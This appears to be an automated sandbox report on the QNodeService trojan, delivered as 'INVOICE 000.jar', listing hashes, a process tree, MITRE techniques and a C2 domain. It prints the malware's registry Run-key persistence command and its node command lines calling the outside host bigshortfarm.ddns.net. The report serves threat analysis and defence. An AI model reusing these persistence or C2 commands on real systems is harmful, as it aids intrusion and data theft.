qnodeservice | 6277e9e9e13f3ca2cc2f66feaf957a052bdc851e40aa5bdd9c934ef452ee0546

General

Target

INVOICE 000.jar
Size

196KB
MD5

0829f6bcb6b2d0857e551008522d9db8
SHA1

c6f12d5cbfd8222b551a844cb364a369c0faf744
SHA256

6277e9e9e13f3ca2cc2f66feaf957a052bdc851e40aa5bdd9c934ef452ee0546
SHA512

169e605f7968b2561a6180d103e476be7b185047ba971f20f74e8cbfcdd2674bccf8962ba9e8b30e76fe996bf2da4e276179e842250c727142875cd0510715a2

Score

10^/10

persistence trojan qnodeservice

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3344	node.exe
3656	node.exe
3148	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run\c53333df-67fe-4af2-b23b-d653b4a51084 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad8c-165.dat	js
behavioral2/files/0x000100000001ad8c-168.dat	js
behavioral2/files/0x000100000001ad8c-172.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3344	node.exe
3344	node.exe
3344	node.exe
3344	node.exe
3656	node.exe
3656	node.exe
3656	node.exe
3656	node.exe
3148	node.exe
3148	node.exe
3148	node.exe
3148	node.exe
3148	node.exe
3148	node.exe
3148	node.exe
3148	node.exe
3148	node.exe
3148	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 352 wrote to memory of 2896	352	java.exe	74
PID 352 wrote to memory of 2896	352	java.exe	74
PID 2896 wrote to memory of 3344	2896	javaw.exe	78
PID 2896 wrote to memory of 3344	2896	javaw.exe	78
PID 3344 wrote to memory of 3656	3344	node.exe	80
PID 3344 wrote to memory of 3656	3344	node.exe	80
PID 3656 wrote to memory of 3148	3656	node.exe	81
PID 3656 wrote to memory of 3148	3656	node.exe	81
PID 3148 wrote to memory of 2468	3148	node.exe	83
PID 3148 wrote to memory of 2468	3148	node.exe	83
PID 2468 wrote to memory of 500	2468	cmd.exe	84
PID 2468 wrote to memory of 500	2468	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\INVOICE 000.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:352
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\414ddb2c.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain bigshortfarm.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3344
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_grppS3\boot.js --hub-domain bigshortfarm.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3656
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_grppS3\boot.js --hub-domain bigshortfarm.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3148
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c53333df-67fe-4af2-b23b-d653b4a51084" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2468
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "c53333df-67fe-4af2-b23b-d653b4a51084" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3148-173-0x000001FD79780000-0x000001FD79781000-memory.dmp

Filesize
4KB

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memory/3344-166-0x000001EFC9040000-0x000001EFC9041000-memory.dmp

Filesize
4KB

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memory/3656-169-0x0000007910E00000-0x0000007910E01000-memory.dmp

Filesize
4KB

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